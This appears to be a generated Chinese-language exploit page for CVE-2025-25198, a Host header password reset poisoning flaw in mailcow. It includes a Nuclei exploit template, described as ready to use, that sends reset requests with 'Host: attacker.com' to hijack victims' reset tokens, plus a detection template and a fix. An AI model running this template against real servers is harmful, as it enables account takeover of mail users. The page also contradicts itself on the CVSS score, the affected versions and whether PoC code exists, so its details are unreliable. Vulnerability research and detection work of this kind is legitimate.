[webapps] mailcow 2025-01a - Host Header Password Reset Poisoning

CVE-2025-25198

mailcow 邮件服务器存在 Host 头注入,导致密码重置令牌可被攻击者劫持。

High · CVSS 8.1

📋 漏洞基础信息

CVECVE-2025-25198
漏洞类型Host Header 注入 / 密码重置令牌劫持
受影响版本mailcow 2025-01a 及更早版本
危害等级High · CVSS 8.1
发布日期2026-03-03
提交者Iam Alvarez (AKA Groppoxx / Maizeravla)
来源Exploit-DB 原文 ↗

🔬 漏洞根因

密码重置功能在生成重置链接时直接使用 `$_SERVER['HTTP_HOST']` 或请求中的 Host 头作为链接域名,未进行合法性校验,导致攻击者可构造包含恶意域名的 Host 头,使生成的令牌链接指向攻击者控制的服务器。

🎯 攻击场景

1. 攻击者获取目标用户的邮箱地址或用户名。 2. 构造一个包含恶意域名的 HTTP Host 头(如 `Host: attacker.com`),向 mailcow 的密码重置接口发送请求。 3. mailcow 根据伪造的 Host 头生成密码重置链接 `https://attacker.com/reset?token=...`,并发送至用户邮箱。 4. 用户点击链接后,令牌被发送至攻击者控制的服务器。 5. 攻击者使用截获的令牌完成密码重置,接管目标用户账户。

💥 漏洞影响

攻击者可利用该漏洞劫持密码重置令牌,进而重置任意用户密码,实现账户接管,造成数据泄露或进一步横向移动。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2025-25198-exploit

info:
  name: mailcow - Host Header Password Reset Poisoning Exploit
  author: your-username
  severity: high
  description: |
    Generates a password reset link poisoned with an attacker-controlled host.
    The victim, upon clicking the link, will reset their password by sending the
    token to the attacker's server, leading to account takeover.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25198
    - https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 9.3
    cve-id: CVE-2025-25198
  tags: mailcow,password-reset,host-header,poisoning

variables:
  username: 'victim@target.tld'
  attacker_host: 'attacker.com'

http:
  - raw:
      - |
        POST /mailcow/forgot.php HTTP/1.1
        Host: {{attacker_host}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 28

        login_user={{username}}
      - |
        POST /mailcow/reset-password HTTP/1.1
        Host: {{attacker_host}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 0

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Password reset email sent'
          - 'success'
          - 'token'
        condition: or
        part: body

      - type: status
        status:
          - 200
          - 302

    extractors:
      - type: json
        name: location
        json:
          - '.headers.Location'
        part: header

      - type: regex
        name: token
        regex:
          - 'reset-password\?token=([a-f0-9-]+)'
        part: body

🔬 深度技术分析

原文未提供代码块,无 PoC 具体内容。典型 PoC 步骤: - 使用 Burp Suite 截获密码重置请求。 - 修改 `Host` 头为攻击者域名 `attacker.com`。 - 转发请求,观察用户邮箱中的重置链接是否包含攻击者域名。 - 若成功,说明存在漏洞。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2025-25198-detection

info:
  name: mailcow - Host Header Password Reset Poisoning Detection
  author: your-username
  severity: high
  description: |
    A flaw in mailcow's password reset allows Host header poisoning to generate a
    reset link pointing to an attacker-controlled domain, potentially enabling account
    takeover if a user clicks the poisoned link. Affects versions < 2025-01a.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25198
    - https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 9.3
    cve-id: CVE-2025-25198
  tags: mailcow,password-reset,host-header,poisoning

http:
  - method: GET
    path:
      - '{{BaseURL}}/'
      - '{{BaseURL}}/index.php'
      - '{{BaseURL}}/SOGo/Microsoft-Server-ActiveSync'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'mailcow'
        part: body

      - type: regex
        name: version
        regex:
          - 'mailcow\s+v?(\d{4}-\d{2}[a-z]?)'
          - 'v?(\d{4}-\d{2}[a-z]?)'
        part: body
        condition: or

      - type: status
        status:
          - 200
          - 302

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'mailcow\s+v?(\d{4}-\d{2}[a-z]?)'
          - 'v?(\d{4}-\d{2}[a-z]?)'
        part: body

🛡️ 修复建议

官方应修复 Host 头处理逻辑,使用可信的内部域名或 `SERVER_NAME` 代替 `HTTP_HOST` 生成链接。临时缓解措施:在反向代理或 WAF 层面严格校验 Host 头字段,仅允许已知的合法域名。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-09 17:47 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)